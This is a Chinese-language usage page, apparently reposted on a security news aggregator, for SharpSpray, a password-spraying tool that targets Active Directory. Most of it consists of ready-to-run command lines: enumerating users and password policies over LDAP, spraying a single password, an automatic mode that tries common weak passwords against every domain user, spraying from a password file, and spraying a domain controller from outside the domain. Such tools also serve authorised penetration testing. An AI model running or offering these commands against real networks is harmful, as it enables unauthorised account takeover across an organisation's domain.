SharpSpray
特点
通过LDAP自动查找用户来进行喷射
根据密码策略自动a喷射
多线程喷射，速度较快
能在域外对域控进行喷射
使用
Examples:Domain Joined Spray: SharpSpray.exe --action SPRAY_USERS --spraypassword Aa123456789.Domain Joined Spray w/ Exclusions: SharpSpray.exe --action SPRAY_USERS --autoDomain Joined Spray w/ Exclusions: SharpSpray.exe --action SPRAY_USERS --passfile c:\test.txtNon-Domain Joined Spray: SharpSpray.exe --dc-ip 172.16.178.9 --domain windows.local --username test --password Aa123456789. --action SPRAY_USERS --spraypassword Aa123456789.Domain Joined Show Policies: SharpSpray.exe --action GET_POLICIESDomain Joined Show Policy Users: SharpSpray.exe --action GET_POLICY_USERS --policy windowsDomain Joined Show All Users: SharpSpray.exe --action GET_ENABLED_USERS
策略发现
在使用之前可以先通过GET_POLICIES来获取当前密码策略和域内总用户数，避免用户数目过大导致服务器崩溃。
SharpSpray.exe --action GET_POLICIES
密码喷射（三种喷射模式）
SharpSpray.exe --action SPRAY_USERS --spraypassword Aa123456789.只爆破一个密码
SharpSpray.exe --action SPRAY_USERS --auto 此命令会自动爆破域内所有用户的[email protected]#$、[email protected]、QAZwsxEDC这三个高频密码。
SharpSpray.exe --action SPRAY_USERS --passfile c:\test.txt爆破一个密码本
域外对域控进行密码喷射
SharpSpray.exe --dc-ip 172.16.178.9 --domain windows.local --username test --password Aa123456789. --action SPRAY_USERS --spraypassword Aa123456789.
TODO
域外的用户名爆破
域内信息收集
工具获取方式：
https://github.com/JDArmy/SharpSpray
如有侵权，请联系删除
好文推荐
如有侵权请联系:admin#unsafe.sh